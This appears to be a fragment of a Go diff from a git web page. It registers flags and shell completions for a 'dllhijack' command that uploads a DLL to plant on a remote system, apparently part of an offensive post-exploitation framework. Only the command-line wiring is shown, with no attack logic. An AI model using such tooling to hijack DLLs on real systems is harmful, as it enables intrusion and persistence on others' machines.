f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack")
|
||||
f.StringP("profile", "p", "", "Profile name to use as a base DLL")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["reference-file"] = carapace.ActionFiles()
|
||||
(*comp)["file"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||
|
||||
return []*cobra.Command{dllhijackCmd}
|
||||
}
|
||||
Loaded 100 of 8466 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user